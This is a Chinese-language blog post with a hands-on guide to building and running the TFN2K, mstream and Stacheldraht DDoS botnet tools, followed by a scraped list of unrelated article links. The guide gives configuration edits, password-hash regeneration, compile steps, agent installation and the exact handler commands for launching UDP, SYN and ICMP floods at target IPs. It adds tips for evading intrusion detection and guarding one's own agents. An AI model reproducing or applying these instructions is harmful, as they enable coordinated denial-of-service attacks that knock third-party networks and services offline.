什么是TFN2K?
TFN2K 的作者是著名的德国黑客mixter.
http://mixter.void.ru/papers.html

TFN2K通过主控端利用大量代理端主机的资源进行对一个或多个目标进行协同攻击。当前互联网中的

UNIX、Solaris和Windows NT等平台的主机能被用于此类攻击,而且这个工具非常容易被移植到其它系统

平台上。

TFN2K由两部分组成:在主控端主机上的客户端和在代理端主机上的守护进程。主控端向其代理端发

送攻击指定的目标主机列表。代理端据此对目标进行拒绝服务攻击。由一个主控端控制的多个代理端主

机,能够在攻击过程中相互协同,保证攻击的连续性。主控央和代理端的网络通讯是经过加密的,还可

能混杂了许多虚假数据包。整个TFN2K网络可能使用不同的TCP、UDP或ICMP包进行通讯。而且主控端还能

伪造其IP地址。所有这些特性都使发展防御 TFN2K攻击的策略和技术都非常困难或效率低下。

如何使用TFN2K?
--------------

我的使用环境:Linux

1, 解压
tar zxvf tfn2k.tgz
2, 修改
a. src/Makefile 
如果你的系统是linux系统,不需要做任何修就可以, 如果你想生产Windows下的代理端,需要做

一 些修改,但是我编译后的文件在Win2000 & WinXP下出错。
b. src/ip.h 
注释掉以下部分,否则编译出错。

  

3,编译
a. cd tfn2k
make
或者: 
b. cd tfn2k/src 
make 
在提示设置密码后,会生成 tfn 和 td 两个文件,其中 tfn 是控制段,td 是守护进程。

4, 安装 td
自己去安装吧,需要root权限。

5, 攻击
a. 编辑一个文本文件,将安装了 td 的机器的ip地址添加进去, 格式为:

ip
ip
...
...

b. 测试代理端(可选) 
./tfn -f host.txt -c 10 -i "mkdir /tmp/test_TFN2K"
检查安装了 td 的机器是否存在 /tmp/test_TFN2K 目录

c. ./tfn 列出命令的格式和参数
./tfn -f host -c 4 -i 1.1.1.1 对1.1.1.1发动 UDP flood 攻击

######################### Mstream
##############################

mstream的源程序共有两个文件:master.c 和 server.c
其中server.c用于生成agent端程序server, master.c用于生成控制端程序 master.

简单使用流程:

client(s)-->handler(s)-->agent(s)-->victim(s)

clent: attacker所在主机
handler: 运行 master 程序
agent: 运行 server 程序
victim: 被攻击主机

1, 修改源程序以符合自己的要求
注: 修改口令能防止自己的agent被滥用, 修改控制端口利于躲避IDS的探测.

server.c
-----------------------------
#define PASSWORD "pssword"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)
...
....
-------------------------------
其中比较关键是:
#define PASSWORD "pssword" 将"password"替换成你自己的密码
#define MASTER_TCP_PORT 6723 和 #define MASTER_UDP_PORT 9325
是设置控制端口需要和master.c中

一致.

master.c
---------------------------------------
char *m[]={
"1.1.1.1",
"2.2.2.2",
"3.3.3.3",
0 };

#define MASTER_PORT 9325
#define SERVER_PORT 7983
...
...
-----------------------------------------
char *m[]={
"1.1.1.1",
"2.2.2.2",
"3.3.3.3",
0 };
以上的ip地址要根据需要设置成你自己的.

#define MASTER_PORT 9325
#define SERVER_PORT 7983
以上端口要和server.c中的设置一致.

2, 编译
gcc -o master master.c
gcc -o server server.c

3, 安装
自己选择合适的机器安装master和server程序. 并运行.

4, 使用
a. telnet ip port # ip 为运行master的主机,
port为编译时设置的master_port
输入编译时设置的密码后, 进入handler控制模式:

如下:
--------------------
# telnet 1.1.1.1 6723
Trying 1.1.1.1...
Connected to 1.1.1.1 (1.1.1.1).
Escape character is '^]'.
password
> help

Available commands: 
stream -- stream attack !
servers -- Prints all known servers.
ping -- ping all servers.
who -- tells you the ips of the people logged in
mstream -- lets you stream more than one ip at a time

----------------------
命令简介:
注:测试中我发现我这个版本的stream命令没有效果,均使用mstream发起攻击。

servers
显示当前所有已知Agents
who
显示当前已建立连接的用户
ping
确认Agents的活动状态。对所有已知Agents发送"ping",每收到一个"pong"回应
就报告用户。
stream
针对单个主机攻击,seconds指定攻击持续时间。Handler将主机名解析成IP地址
并发送命令"mstream/arg1:arg1/arg2"到所有Agents,这里arg1是victim目标IP
地址,arg2是攻击持续时间。
mstream
针对多台主机攻击,seconds指定攻击持续时间。Handler发送命令
"mstream/arg1/arg2"到所有Agents,这里arg1是冒号分隔的victim目标IP地址
列表,arg2是攻击持续时间。
quit
终止Attacker到Handler的连接

b. > mstream 123.123.123.123 60
对主机123.123.123.123发动60秒攻击

> mstream 1.1.1.1:2.2.2.2:3.3.3.3 60
对多台主机同时发起攻击

######################### stacheldraht
##############################

Stacheldraht攻击网络由一个或多个主控程序("mserv.c")和大量的代理程序("leaf/td.c")组

成,同时还有用于提供加密功能的网络连接和通讯程序("telnet.c/client.c")。一个典型网络结构如

下:

攻击者-->主控端-->代理端-->受害者

1, 解压
# tar zvfz stachel.tgz
# cd stacheldrahtV4
# ls -l
total 136
-rw-r--r-- 1 root root 13232 Aug 25 1999 bf_tab.h
-rw-r--r-- 1 root root 6597 Aug 25 1999 blowfish.c
-rw-r--r-- 1 root root 1291 Aug 25 1999 blowfish.h
-rw-r--r-- 1 root root 1276 Feb 5 2000 config.h
drwxr-xr-x 2 root root 4096 Dec 13 11:15 leaf
-rw-r--r-- 1 root root 167 Sep 16 1999 Makefile
-rwxr-xr-x 1 root root 46244 Dec 13 10:12 mserv
-rw-r--r-- 1 root root 39685 Dec 13 11:01 mserv.c
drwxr-xr-x 2 root root 4096 Dec 13 11:08 telnetc
-rw-r--r-- 1 root root 3089 Aug 25 1999 tubby.h

2,修改源代码(注:行数仅供参考)

a、stacheldrahtV4/leaf/control.h
下述部分需要注释掉
-------------------------------------------------------
12

b、端口:
下面三个程序的端口要设置对应,即mserv.c的MSERVERPORT和COMMANDPORT要和td.c、client.c对应


密码:
本部分比较关键,很多在编译完成后用clinet连接主控端的时候不知道口令, 因为口令是用3DES加

密后放在
mesrv.c 的 24 //#define SALT
"dRFWfIGlF0zrE" , "dRFWfIGlF0zrE"就是加密后的口令. 它

是用口令的明文和client.c中的
"zA" (175
strcpy(result,crypt(password,"zA")):)经过3DES加密后的结果。
因为流传到你手中的源代码几乎肯定是被人修改过的, 多以我们需要重新建立自己的密码。可以用

下面的代码:
crypt.c
--------------------------------------
#include
#include

int main() // int argc, char **argv)
{
char *input = "11111111";
char *salt = "zA";
printf("%s ", crypt(input, salt));
return 0;
}
----------------------------------------
# gcc -lcrypt -o crypt crypt.c
# ./crypt
zAj9s/lEcOIC. //此为密码明文11111111和zA加密后的密文
将密文"zAj9s/lEcOIC."替换mesrv.c 的"dRFWfIGlF0zrE"(24 //#define SALT
"dRFWfIGlF0zrE")
注意""需要保留. 此时编译后的密码为"11111111" 。

td.c
-----------------------------------------
38 -
39 #define MSERVER1 "10.2.0.100"
40 #define MSERVER2 "192.168.0.84"

59 #define COMMANDPORT 65513

mserv.c
-------------------------------------------
23

25 #define SALT "zAj9s/lEcOIC."
26 
27
28 #define MSERVERPORT 65512

37 #define LOCALIP "10.2.0.100"

41
42 #define COMMANDPORT 65513

client.c
-----------------------------------------------
24 #define MASTERSERVERPORT 65512
25 #define timeout 10
175 strcpy(result,crypt(password,"zA"));

3、编译
分别在3个目录中运行make后,生成了文件mesrv、clinet和td。

4、安装
将client和mesrv安装到你需要(能够)安装的机器,并运行。

5、使用
# ./client 1.1.1.1 //安装了msecrv的机器的ip
[*] stacheldraht [*] 
(c) in 1999 by randomizer

trying to connect...
connection established.
--------------------------------------
enter the passphrase : 11111111 //我们设置的密码是"11111111"
--------------------------------------
entering interactive session.
******************************
welcome to stacheldraht 
******************************
type .help if you are lame

stacheldraht(status: a!1 d!0)> //提示的"a!1
d!0"表示当前有活动和停止的代理端主机数量

stacheldraht(status: a!1 d!0)>.help
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
--------------------------------------------------
stacheldraht(status: a!1 d!0)>

使用命令如下:

.distro user server
通知代理端程序使用"rcp"命令将其自身在主机"server"以"user"帐号安装并运行。

.help
显示帮助信息。

.killall
杀死所有活动的代理端程序。

.madd ip1[:ip2[:ipN]]
添加IP地址到攻击目标列表中。

.mdie
向所有代理端程序发送"die"请求。

.mdos
启动拒绝服务攻击。

.micmp ip1[:ip2[:ipN]]
启动针对指定主机的ICMP flood攻击。

.mlist
列出当前正被进行拒绝服务攻击的主机IP地址。

.mping
测试所有的代理端是否仍在活动。

.msadd
添加新的主控端主机到列表中。

.msort
排序输出已停止/正活动的代理端。

.mstop ip1[:ip2[:ipN]]
.mstop all
停止指定IP地址或所有的攻击。

.msrem
从列表中删除一个主控端主机。

.msyn ip1[:ip2[:ipN]]
启动对指定主机的SYN flood攻击。

.mtimer seconds
设置攻击持续时间。

.mudp ip1[:ip2[:ipN]]
启动对指定主机的UDP flood攻击。

.setisize
设置ICMP攻击包大小(最大:1024,缺省:1024)。

.setusize
设置UDP攻击包大小(最大:1024,缺省:1024)。

.showalive
显示所有“正活动”的代理端主机。

.showdead
显示所有“已停止”的代理端主机。

.sprange lowport-highport
设置SYN flood攻击的端口范围(缺省为0-140)。

linux下的3种DDOS软件介绍的更多相关文章

  1. Linux 下的三种时间介绍

    Linux 下的三种时间介绍: Access Time:简写为atime,表示文件访问的时间,当文件内容被访问时,更新atime时间 Modify Time:简写为mtime,表示文件内容修改的时间, ...

  2. Linux下的5种I/O模型(转)

    Linux下的五种I/O模型: l         阻塞I/O l         非阻塞I/O l         I/O复用(select.poll.epoll) l         信号驱动I/ ...

  3. windows党码农在linux下你最需要的软件列表TOP10

    NO 10.QQ 神奇的TX,经常更新接口,使得linux社区的模仿软件总是跟不上步伐,一整就不能登陆使用.可是老大,您怎么自从2009-01-04发布了第一版QQ for Linux 1.0 Bet ...

  4. [后渗透]Linux下的几种隐藏技术【转载】

    原作者:Bypass 原文链接:转自Bypass微信公众号 0x00 前言 攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术. 0x01 隐藏文件 ...

  5. Linux下的5种I/O模型与3组I/O复用

    引言 上一篇文章中介绍了一些无缓冲文件I/O函数,但应该什么时机调用这些函数,调用这些I/O函数时进程和内核的行为如何,如何高效率地实现I/O?这篇文章就来谈一谈Linux下的5种I/O模型,以及高性 ...

  6. Linux 下的五种 IO 模型

    概念说明 用户空间与内核空间 现在操作系统都是采用虚拟存储器,那么对32位操作系统而言,它的寻址空间(虚拟存储空间)为4G(2的32次方).操作系统的核心是内核,独立于普通的应用程序,可以访问受保护的 ...

  7. []转帖] 浅谈Linux下的五种I/O模型

    浅谈Linux下的五种I/O模型 https://www.cnblogs.com/chy2055/p/5220793.html  一.关于I/O模型的引出 我们都知道,为了OS的安全性等的考虑,进程是 ...

  8. Linux下监控网卡流量的软件Nload

    Linux下监控网卡流量的软件Nload 安装nload: # wget http://www.roland-riegel.de/nload/nload-0.7.2.tar.gz # tar zxvf ...

  9. Linux 下configure 参数配置与软件的安装与卸载

    Linux环境下的软件安装,并不是一件容易的事情:如果通过源代码编译后在安装,当然事情就更为复杂一些:现在安装各种软件的教程都非常普遍:但万变不离其中,对基础知识的扎实掌握,安装各种软件的问题就迎刃而 ...

随机推荐

  1. hdu 1102(最小生成树)

    Constructing Roads Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Other ...

  2. visio画任意形状图形

    1,连接线--右击---曲线连接线 2,选中组合 3,开发工具--操作--连接--填充

  3. (5)Toad for oracle使用

    版本 toad 11.6 1.表数据颜色设置 误操作后表颜色变成这样 界面选择:view-Toad Optins 选择传统模式可以改回到原来的颜色 2.解决锁表 Database-Monitor-Se ...

  4. CF986A Fair【图论/BFS】

    [题意]: 有些公司将在Byteland举办公平的会议.Byteland的n个城镇,m条两镇之间的双向道路.当然,你可以使用道路从任一个城镇到达任何城镇. 有k种商品产自Byteland,并且每个城镇 ...

  5. 洛谷——P1469 找筷子

    P1469 找筷子 题目描述 经过一段时间的紧张筹备,电脑小组的“RP餐厅”终于开业了,这天,经理LXC接到了一个定餐大单,可把大家乐坏了!员工们齐心协力按要求准备好了套餐正准备派送时,突然碰到一个棘 ...

  6. tyvj——P1001 第K极值

    P1001 第K极值 时间: 1000ms / 空间: 131072KiB / Java类名: Main 背景 成成第一次模拟赛 第一道 描述 给定一个长度为N(0<n<=10000)的序 ...

  7. (寒假集训)Reordering the Cows

    Reordering the Cows 时间限制: 1 Sec  内存限制: 64 MB提交: 18  解决: 7[提交][状态][讨论版] 题目描述 Farmer John's N cows (1 ...

  8. [JSOI2009] 有趣的游戏

    1444: [Jsoi2009]有趣的游戏 Time Limit: 10 Sec  Memory Limit: 64 MBSubmit: 1800  Solved: 645[Submit][Statu ...

  9. Extjs Ext.grid.column.Column 隐藏显示列

    1.根据字段名字 grid.down("gridcolumn[dataIndex=PLAN_QTY]").show();//hide() 2.根据列号 grid.columns[1 ...

  10. wget下载网站

    命令格式如下: wget -r -p -np -k http://URL -r:在本机建立服务器端目录结构: -p: 下载显示HTML文件的所有图片: -np:只下载目标站点指定目录及其子目录的内容: ...